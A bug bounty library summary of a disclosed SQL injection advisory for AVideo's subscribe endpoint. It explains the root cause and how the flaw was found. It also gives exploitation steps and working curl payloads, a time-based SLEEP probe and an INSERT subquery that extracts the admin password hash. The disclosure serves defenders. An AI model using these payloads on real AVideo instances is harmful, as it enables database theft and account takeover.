# AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter

Authenticated SQL injection in AVideo's Subscribe::save() via unsanitized user_id lets attackers extract password hashes and API keys from any table.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33723
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-ffr8-fxhv-fv8h
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-ffr8-fxhv-fv8h
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:sqli

**Target:** PHP web app subscribe.json.php / subscribeNotify.json.php endpoints
**Root cause:** Constructor stores raw $_POST['user_id'] in $this->users_id; intval() is only applied to local copies inside getSubscribeFromID(), so the unsanitized value reaches the INSERT string concatenation in save().
**Steps:**
1. Authenticate to the AVideo instance and obtain a valid PHPSESSID.
2. Pick a user_id not yet subscribed to (e.g. 99999) so loadFromId() returns false and $this->id stays null, forcing the INSERT path.
3. Confirm injection with time-based blind: `curl -d "user_id=99999'+AND+SLEEP(5)+AND+'1" https://target/objects/subscribe.json.php` and observe ~5s delay.
4. Extract data via INSERT subquery: `user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23` writes the admin hash into the email column.
5. Read the injected row back via any endpoint returning subscribes.email (e.g. getAllSubscribes()).
**How found:** Code review noting the disconnect between intval() applied to local variables in getSubscribeFromID() and the raw $this->users_id used in save(); tracing $_POST['user_id'] from the JSON endpoints through the constructor to the concatenated INSERT sink.
**Exploitation:** Any authenticated user posts a crafted user_id to subscribe.json.php or subscribeNotify.json.php. Because the value is concatenated into the INSERT and writeSql() is called without bind params, the payload closes the VALUES clause and injects a subquery that copies arbitrary columns (admin pass hash, salts, API keys) into the subscribes.email column, which is then read back through the subscription list API.
**Escalation:** Blind time-based confirmation escalates to full DB read via INSERT subqueries; exfiltrated admin hash enables account takeover.
**Insight:** When a sanitizer is applied to a local variable inside a helper, check whether the object property it was derived from is later used elsewhere — the intval() here only protected the lookup, not the INSERT sink.

## Proof of concept (copied exactly from the original report)

**INSERT subquery extracting admin password hash**

```
curl -b 'PHPSESSID=VALID_SESSION_ID' \
  -d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
  https://target/objects/subscribe.json.php
```

